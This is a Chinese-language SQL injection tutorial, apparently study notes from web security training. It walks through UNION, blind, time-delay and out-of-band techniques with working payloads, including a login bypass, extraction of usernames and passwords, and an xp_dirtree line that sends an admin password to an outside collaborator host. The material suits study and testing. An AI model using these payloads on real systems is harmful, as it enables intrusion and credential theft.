SQL 注入示例
检索隐藏数据:您可以在其中修改 SQL 查询以返回其他结果
例如一个显示不同类别产品的购物应用程序,当用户点击礼物类别时,他们的浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts
注入点在category,因此通过payload:gifts’+or+1=1—,查询将返回所有数据
颠覆应用程序逻辑:您可以在其中更改查询以干扰应用程序的逻辑
例如一个登录处, 提交用户名administrator’—和空白密码会导致以下查询:
SELECT * FROM users WHERE username = ‘administrator’—‘ AND password = ‘’
此查询返回用户名administrator,并成功地将攻击者作为该用户登录
从其他表中检索数据:Union联合查询
例如查询用户表的数据
‘ UNION SELECT username, password FROM users—
执行Union攻击的步骤
1. 确定所需的列数
- 方法1:order by子句
‘ ORDER BY 1—
‘ ORDER BY 2—
‘ ORDER BY 3—
- 方法2: 提交一系列UNION SELECT指定不同数量的空值的有效负载
‘ UNION SELECT NULL—
‘ UNION SELECT NULL,NULL—
‘ UNION SELECT NULL,NULL,NULL—
2. 查找包含文本的列
‘ UNION SELECT ‘a’,NULL,NULL,NULL—
‘ UNION SELECT NULL,’a’,NULL,NULL—
‘ UNION SELECT NULL,NULL,’a’,NULL—
‘ UNION SELECT NULL,NULL,NULL,’a’—
3. 检索其他表中的数据
4. 在单个列中检索多个值: 假设查询仅返回单个列, 通过将这些值连接在一起,您可以轻松地在该单列中同时检索多个值,理想情况下包括一个合适的分隔符,以便您区分组合值。例如,在 Oracle 上,您可以提交输入
‘ UNION SELECT username || ‘~’ || password FROM users—
请注意不同的数据库使用不同的语法来执行字符串连接。有关更多详细信息,请参阅SQL 注入备忘单
检查数据库
步骤:
- 查询数据库类型和版本,mysql,oracle等类型,select version()查询版本等
- 列出数据库的内容(如information.schema这种默认表),如果是Oracle则为all_tables
具体payload:在 SQL 注入攻击中检查数据库,SQL 注入备忘单
SQL 盲注
- 通过触发条件响应的SQL盲注
例如:
…xyz’ AND ‘1’=’1
…xyz’ AND ‘1’=’2
- 通过触发SQL错误来诱导条件响应
例如:
xyz’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE ‘a’ END)=’a
xyz’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE ‘a’ END)=’a
- 通过触发时间延迟的SQL盲注
SQL server:
‘; IF (1=2) WAITFOR DELAY ‘0:0:10’—
‘; IF (1=1) WAITFOR DELAY ‘0:0:10’—
- 使用带外技术利用SQL盲注
例如在SQL server数据库中:
‘; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username=’Administrator’);exec(‘master..xp_dirtree “//‘+@p+’.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a”‘)—
这将导致数据库对以下域执行DNS查找,允许您查看捕获的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外 (OAST) 技术是检测和利用盲 SQL 注入的一种非常强大的方法,因为成功的可能性很高,并且能够直接在带外通道中泄露数据。出于这个原因,即使在其他用于盲目利用的技术确实有效的情况下,OAST 技术通常也更受欢迎。 触发带外交互的方式有很多种,不同的技术适用于不同类型的数据库。有关更多详细信息,请参阅SQL 注入备忘单。
如何检测SQL 注入
1.sqlmap
2.手动检测,步骤:
- 交单引号字符’并查找错误或其他异常
- 提交一些特定于 SQL 的语法,这些语法计算为入口点的基本(原始)值和不同的值,并在结果应用程序响应中寻找系统差异。
- 提交布尔条件,例如OR 1=1并OR 1=2, and查找应用程序响应中的差异。
- 提交设计用于在 SQL 查询中执行时触发时间延迟的有效负载,并寻找响应时间的差异。
- 提交旨在在 SQL 查询中执行时触发带外网络交互的 OAST 有效负载,并监视任何由此产生的交互(SQL 注入备忘单)
查询不同部分的 SQL 注入
大多数 SQL 注入漏洞都出现在查询的WHERE子句中SELECT。这种类型的 SQL 注入通常为有经验的测试人员所熟知。
但原则上,SQL 注入漏洞可以发生在查询中的任何位置,以及不同的查询类型中。SQL注入最常见的其他位置是:
- 在UPDATE语句中,在更新的值或WHERE子句中。
- 在INSERT语句中,在插入的值内。
- 在SELECT语句中,在表或列名内。
- 在SELECT语句中,在ORDER BY子句中。
二阶SQL注入
一阶 SQL 注入出现在应用程序从 HTTP 请求中获取用户输入并在处理该请求的过程中以不安全的方式将输入合并到 SQL 查询中的情况。
在二阶 SQL 注入(也称为存储 SQL 注入)中,应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用。这通常是通过将输入放入数据库来完成的,但在存储数据的位置不会出现漏洞。稍后,当处理不同的 HTTP 请求时,应用程序会检索存储的数据并以不安全的方式将其合并到 SQL 查询中
